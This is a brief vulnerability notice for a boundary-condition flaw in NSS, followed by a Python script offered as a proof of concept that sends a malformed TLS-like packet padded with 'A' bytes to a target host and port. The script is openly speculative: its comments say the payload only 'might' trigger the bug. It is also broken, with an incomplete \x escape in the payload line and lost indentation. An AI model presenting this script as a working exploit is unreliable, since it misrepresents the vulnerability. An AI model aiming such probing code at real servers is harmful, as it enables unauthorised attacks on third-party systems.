Incorrect boundary conditions in the Libraries component in NSS. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
import socket
# Conceptual PoC for CVE-2026-6766
# This script demonstrates a potential trigger mechanism
# by sending malformed data to a service using NSS.
def send_malformed_packet(host, port):
try:
# Create a socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
# Construct a payload that might trigger incorrect boundary checks
# Specific bytes depend on the internal NSS parsing logic.
# Here we use a buffer with a specific length pattern.
payload = b"\x16\x03\x01\x00\x" + b"A" * 500
# Send payload
s.send(payload)
print(f"[+] Payload sent to {host}:{port}")
# Receive response (if any)
response = s.recv(1024)
print(f"[+] Received: {response}")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
# Usage example (replace with actual target details)
# send_malformed_packet("192.168.1.10", 443)